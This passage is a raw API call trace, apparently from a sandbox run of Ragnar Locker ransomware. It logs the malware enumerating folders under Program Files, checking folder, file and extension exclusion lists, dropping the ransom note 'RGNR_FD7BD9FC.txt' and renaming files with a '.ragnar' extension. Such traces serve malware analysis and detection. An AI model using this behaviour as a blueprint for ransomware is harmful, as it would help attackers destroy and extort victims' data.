lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.325] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73cf4200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.325] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.325] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0056.325] lstrcmpiW (lpString1="osknumpad.xml", lpString2=".") returned 1 [0056.325] lstrcmpiW (lpString1="osknumpad.xml", lpString2="..") returned 1 [0056.325] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2=".") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="..") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Windows") returned -1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Windows.old") returned -1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Tor browser") returned -1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Internet Explorer") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Google") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Opera") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Opera Software") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Mozilla") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="Mozilla Firefox") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="$Recycle.Bin") returned 1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="ProgramData") returned -1 [0056.325] lstrcmpiW (lpString1="oskpred", lpString2="All Users") returned 1 [0056.325] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.325] lstrcpyW (in: lpString1=0x1eab72, lpString2="oskpred" | out: lpString1="oskpred") returned="oskpred" [0056.325] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" [0056.325] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" [0056.325] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RGNR_FD7BD9FC.txt" [0056.325] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*" [0056.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.346] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.346] lstrcpyW (in: lpString1=0x1e9c96, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73d404c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.347] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73d404c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.347] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.347] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2=".") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="..") returned 1 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d404c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.347] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.347] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d404c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.347] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73d404c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73d404c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.347] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0056.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.347] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="oskpredbase.xml" | out: lpString1="oskpredbase.xml") returned="oskpredbase.xml" [0056.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned=".xml" [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="autorun.inf") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="boot.ini") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootfont.bin") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootsect.bak") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootmgr") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootmgr.efi") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="bootmgfw.efi") returned 1 [0056.347] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="desktop.ini") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="iconcache.db") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ntldr") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ntuser.dat") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ntuser.dat.log") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="ntuser.ini") returned 1 [0056.348] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="thumbs.db") returned -1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.348] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0056.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.374] CloseHandle (hObject=0xffffffff) returned 0 [0056.374] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" [0056.374] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ragnar_FD7BD9FC" [0056.374] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.374] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d404c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.374] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.374] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.374] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d404c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73d404c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.374] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.374] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0056.374] lstrcmpiW (lpString1="oskpred.xml", lpString2=".") returned 1 [0056.374] lstrcmpiW (lpString1="oskpred.xml", lpString2="..") returned 1 [0056.374] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.375] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.375] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.375] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2=".") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="..") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Windows") returned -1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Windows.old") returned -1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Tor browser") returned -1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Internet Explorer") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Google") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Opera") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Opera Software") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Mozilla") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="Mozilla Firefox") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="$Recycle.Bin") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="ProgramData") returned 1 [0056.375] lstrcmpiW (lpString1="symbols", lpString2="All Users") returned 1 [0056.375] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.375] lstrcpyW (in: lpString1=0x1eab72, lpString2="symbols" | out: lpString1="symbols") returned="symbols" [0056.375] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" [0056.375] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" [0056.375] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RGNR_FD7BD9FC.txt" [0056.375] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.388] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*" [0056.388] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.388] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.388] lstrcpyW (in: lpString1=0x1e9c96, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73db28e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73db28e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.388] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.388] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73db28e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73db28e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.389] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.389] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0056.389] lstrcmpiW (lpString1="ea-sym.xml", lpString2=".") returned 1 [0056.389] lstrcmpiW (lpString1="ea-sym.xml", lpString2="..") returned 1 [0056.389] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, 